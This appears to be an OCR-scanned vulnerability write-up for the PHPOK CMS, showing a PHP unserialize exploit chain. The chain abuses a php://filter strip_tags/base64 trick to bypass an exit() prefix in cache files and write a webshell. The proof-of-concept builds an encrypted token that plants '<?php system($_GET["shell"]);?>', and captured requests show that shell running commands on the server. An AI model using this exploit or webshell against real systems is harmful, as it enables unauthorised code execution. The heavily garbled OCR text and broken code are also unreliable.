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<?php
class cache{

public function save($id,$content=""){

if(!$id || $content === "' || !$this->status){
return false;
}
$this->_time();
$content = serialize($content);
$file = $this->folder.$id.".php";
file_put_contents($file, '<?php exit();?>'.$content);
$this->_time();
$this->_count();
if($GLOBALS[ "app']->db){
$this->key list($id,$GLOBALS[ 'app']->db->cache_index($id));

}
return true;

}

public function _ destruct(){
$this->save($this->key id,$this->key list);
$this->expired();

?>
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° php://output
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o fEfE
==

BISEFEINY, LA ARSI TS ERE, BIREAITLUERZR <2php exit();?> PHP
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demo:

<?php

echo file_get_contents('php://filter/read=string.strip_tags/resource=php://input');
?>
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Request Response

j Raw T Params T Headers T Hex ] j Raw T Headers T Hex T Render ]

POST /demo.php HTTP/1.1 A HTTP/1.1 200 OK

Host: phpok r Server: openresty/1.15.8.1

Content-Length: 28 Date: Fri, 29 May 2020 08:45:41 GMT
Content-Type: text/html; charset=UTF-8

<?php exit();?>just for test Connection: keep-alive

X-Powered-By: PHP/7.4.0
Content-Length: 13

just for test
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demo:

<?php

echo file_get contents('php://filter/read=string.strip_tags|convert.base64-decode/resource=php://
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?>

Send Cancel < | > |v
(Send ) [[Cancel]) (L<iv)

Request Response
j RawT Params T Headers T Hex ] j Raw T Headers T Hex T Render ]
POST /demo.php HTTR/1.1 A HTTP/1.1 200 OK
Host: phpok i Server: openresty/1.15.8.1
Content-Length: 35 Date: Fri, 29 May 2020 07:16:47 GMT
Content-Type: text/html; charset=UTF-8
<7php exit();?>anVzdCBmb3IgdGVzdA== Connection: keep-alive

X-Powered-By: PHP/7.4.0
Content-Length: 13

just for test
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<?php
class token_lib{
public function decode($string){
if(!$this->keyid){
return false;
}
$string = str_replace(' ','+',$string);
$keyc = substr($string, 0, $this->keyc_length);
$string = base64_decode(substr($string, $this->keyc_length));
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
if((substr($rs, 0, 10) - $this->time > @) && substr($rs, 10, 16) == $chkb){
$info = substr($rs, 26);
return unserialize($info);

}

return false;

?>
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<?php
class token_lib{
public function keyid($keyid=""){
if(!$keyid){
return $this->keyid;
}
$this->keyid = strtolower(md5($keyid));
$this->config();
return $this->keyid;
}
private function config(){
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}
public function encode($string){
if(!$this->keyid){
return false;
}
$string = serialize($string);
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d', ($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 1
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));

//return $keyc.base64_encode($rs);



?>

BJLABE! encode 5 decode JTIEEPREBA— keyid H, FTEREBER ->keyid(

foreach($ext as $key=>$value){
if($key == && $value){
$value = str_replace(array('&#39;"

I
$param[$key] = $value;

}
1
i)
->1ib( ' token')->keyid(
$array = array('id'=>$%$id, 'param'=>%param):
$token = -»1ib( 'token')->encode($array);
->success($token);
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POST /admin.php?c=all&f=save HTTP/1.1 4 HTTP/1.1 200 OK

Host: phpok Server: openresty/1.15.8.
Content-Length: 1654 Date: Fri, 20 May 2020 08:27:50 GMT
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Content-Type: text/html; charset=utf-g&
safari/s37.36 Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-g| X-Powered-By: PHP/7.4.0
Accept-Encoding: gzip, deflate X-Frame-Options: sameorigin
Accept-Language: zh-CN,zh:g=0.9 Set-Cookie: PHPSESSION=b6een8tqsdqdraiaer7vgsdsbe; path=/
Cookie: PHPSESSION-b6een8tqsdqdraiaer7vgsdsbe; Hn_Lvt_d6ceebbfea56afoSae58ccea3dsc10ds=1590660964; Pragma: no-cache
Hn_lpvt_déceebbfeas6afosdessccea3dbct 0d3=1500660064 Expires: Mon, 26 Jul 1997 05:00:00 GMT
Connection: close Last-Modified: Mon, 26 Jul 1997 05:00:00 GMT
Cache-control: no-cache,no-store,must-revalidate, max-age=3
1t1e=PHPOKXEA%BC%8 1%EA%BE%IALE TLABLOORA ] r=%2F&1Ogo=r es%aF 2%2F7eb2d67e0d6T4ede .png&logo_mobile Pramga: no-cache
~&favicon=res%2F201810%2F22%2F1d98632126a21fac2. png&api_cod eta=Estatus=18content="4E7%BD%0 1%E7%A vary: Accept-Encoding
7 FLO5&tpl_id=18lang=cniregister_status=1&register_close=%E7%BD%O1%ET% Content-Length: 899
7 Fro58login_status=18login_close=%E7HBDHO1HETHABROORESHESHEIRE 0% THA
DHEGHBS%BBHEB%AFR95&10gin_type=0&login_type_email=glogin_type_sms=sms_61825160&biz_status=1&biz_main_ser <!doctype html>
vice=1abiz_sn=prefix%5BP%5D-year-month-date-rand-user-number&currency_id=18biz_payment=0&biz_freight=5&u <html>
r1_type=default&seo_title=%E7%BD%O1%ETLABLIGLE - XEAXBCXE1 THBDRO 1%E THABLOOXES LB <head>
BYBAGEB%AEXUBE_PHPOK%E7%BD%O 1%E 7' _PHPOKXEAYEC: TUBD%O 1%E <meta charset="utf-g8" />
BAXES%AEXBE&seo_keywor ds=%E 7%BD%01%ET" EAXBCAE 7%BD%I1%ET" <titlesRiGIRR</titles
BBHBAXESHAESBES2 CPHPOK%E74BD%0 1 %ETHABRIIKE! PHPOKHE ARBCHE 1HE4HBBHIAKE THEDSS 1% ETRABSI O%E <base href="http://phpok/" /><meta name="author" content="phpok.com" />
_desc= E 1 BD%9 15%E THABHOIHE: <link href="css/tips.css” rel="stylesheet” type="text/css" />

SHBESKE THB3%BB%E 74BB%0 FHE F%B (%8 CHE S F6AFHE SHAERIERE THBERBC EX9A%E B6HESHBCHI 6HE THIARBAKE <style type="text/css">
A%BC3L8 1HE4XBB%OALE 7%HBD%O 1 %E THABKIOLE ac: E%E % body{font-size:12px:font-family: "Verdana","Microsoft
8 T%BD%O 1%E T %0 1%EAXBCES TBDRO1%ET Yahei","Geneva", "sans-serif","Arial", "Tahoma", "HELVETICA":}
SABOO%E 3 HE6%0B%B </style>
4%ETHAEKBORE 5%8D%9 SHEFRBCHE 1 &upload_guest=1&upload_user=18adm_logo29-8adm_logo50-8adm_logo180= </head>
<body>

<div class="body">
<div class="tips success">
<div class="title">FIS4EEEMM</div>
<div class="note"><a href="adnin.php?c=allaf=setting">REiGlE<span
style="color:red">2</span>#EDEE , FIBEEERXB</a></div>

</div>
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<?php

class cache{
protected $key_id;
protected $key list;
protected $folder;

public function __construct(){
$this->key_id = 'naiquan’;
$this->key list = 'a'.base64_encode('<?php system($_GET["shell"]);?>");

$this->folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=";

}

class token{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;

private $expiry = 3600;

public function keyid($keyid=""){
if(!$keyid){
return $this->keyid;
}
$this->keyid = strtolower(md5($keyid));
$this->config();
return $this->keyid;
}

private function config(){



if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));

public function encode($string){
if(!$this->keyid){

return false;

$expiry_time = $this->expiry ? $this->expiry : 365%24*3600;
$string = sprintf('%010d’', ($expiry_time + time())).substr(md5($string.$this->keyb), 0, 16).$s
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
//return $keyc.base64 encode($rs);
}
private function core($string,$cryptkey){
$key length = strlen($cryptkey);
$string_length = strlen($string);
$result = '';
$box = range(@, 255);
$rndkey = array();
[/ PR
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key length]);

}
1/ JHIEERIEL, FTH Z2, WNWEEYIIE, TFRIRE A L LS8 % X7 /¢
for($j = $i = 0; $i < 256; $i++){

$j = ($] + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$7];



$box[$j] = $tmp;

}

/! BONEE RS

for($a = $j = $1i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$3 = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$]];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ~ ($box[($box[$a] + $box[$j]) % 256]));

}

return $result;

}

$token = new token();
$token->keyid('123456"');

echo $token->encode(serialize(new cache));

?>

9e0d6Kri8zqLsYrSk12mUyEWsA6ChH2biV4618¢90m354X20jMHDw+BI{PwbwTdMcnwX0PahQXQJRyeFsINSWOfSFE21U2kr2a+IGY VHK AAFWrl4fveZ>
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http://phpok/api.php?c=index&f=phpok&token=

TBKAN:

naiquan@medusec: /www/admin/phpok_80/wwwroot$ 1ls -a

README.md  tas

S e nlugins .user.ini

naiquan@medﬁgéc:/wwwkadﬁiﬁ}bhpok_SOlwwwroot$ [ |
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BKRE:

naiquan@medusec: /www/admin/phpok_80/wwwroot$ ls -a

25 .user.ini
/wwwroot$ 1s -a

.user.ini

naiquan@medﬁgéc:lwwwfa&hiﬁ;ﬁhpok_BOlwwwrooti |
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Request Response

_[ RawT Params T Headers T Hex ]

_[ Raw T Headers T Hex T Render ]

GET /naiquan.php?shell=id| HTTP/1.1
Host: phpok

e

HTTP/1.1 200 OK

Server: openresty/1.15.8.1

Date: Fri, 29 May 2020 08:47:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

X-Powered-By: PHP/7.4.0
Content-Length: 48

$9Zuid=1000(www) gid=1000(www) groups=1000(www)
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